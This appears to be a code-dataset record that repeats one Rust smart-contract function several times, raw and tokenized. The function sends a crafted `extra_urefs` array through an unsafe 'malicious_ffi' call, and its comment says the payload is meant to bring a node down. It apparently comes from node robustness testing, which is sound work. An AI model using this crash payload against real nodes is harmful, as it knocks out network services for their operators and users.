fn my_call_contract<A: ArgsParser>(c_ptr: ContractPointer, args: &A) {
    let contract_key: Key = c_ptr.into();
    let (key_ptr, key_size, _bytes1) = to_ptr(&contract_key);
    let (args_ptr, args_size, _bytes2) = ArgsParser::parse(args).map(|args| to_ptr(&args)).unwrap();

    let mut extra_urefs = vec![255, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
    let _res_size = unsafe {
        malicious_ffi::call_contract(
            key_ptr,
            key_size,
            args_ptr,
            args_size,
            extra_urefs.as_mut_ptr(),
            extra_urefs.len(),
        )
    };
}
// This is half-baked contract_api::call_contract with changed `extra_urefs`
// parameter with a desired payload that's supposed to bring the node down.
This is half-baked contract_api::call_contract with changed `extra_urefs`
parameter with a desired payload that's supposed to bring the node down.
This is half - baked contract_api :: call_contract with changed ` extra_urefs ` parameter with a desired payload that ' s supposed to bring the node down .
fn my_call_contract<A: ArgsParser>(c_ptr: ContractPointer, args: &A) {
    let contract_key: Key = c_ptr.into();
    let (key_ptr, key_size, _bytes1) = to_ptr(&contract_key);
    let (args_ptr, args_size, _bytes2) = ArgsParser::parse(args).map(|args| to_ptr(&args)).unwrap();
    let mut extra_urefs = vec![255, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
    let _res_size = unsafe {
        malicious_ffi::call_contract(
            key_ptr,
            key_size,
            args_ptr,
            args_size,
            extra_urefs.as_mut_ptr(),
            extra_urefs.len(),
        )
    };
}
fn my_call_contract < A : ArgsParser > ( c_ptr : ContractPointer , args : & A ) { let contract_key : Key = c_ptr . into ( ) ; let ( key_ptr , key_size , _bytes1 ) = to_ptr ( & contract_key ) ; let ( args_ptr , args_size , _bytes2 ) = ArgsParser :: parse ( args ) . map ( | args | to_ptr ( & args ) ) . unwrap ( ) ; let mut extra_urefs = vec ! [ 255 255 255 255 0 1 2 3 4 5 6 7 8 9 ] ; let _res_size = unsafe { malicious_ffi :: call_contract ( key_ptr , key_size , args_ptr , args_size , extra_urefs . as_mut_ptr ( ) , extra_urefs . len ( ) , ) } ; }
This is half-baked contract_api::call_contract with changed `extra_urefs`
parameter with a desired payload that's supposed to bring the node down.
This is half - baked contract_api :: call_contract with changed ` extra_urefs ` parameter with a desired payload that ' s supposed to bring the node down .
c_ptr
ContractPointer
args
&A
c_ptr
ContractPointer
args
&A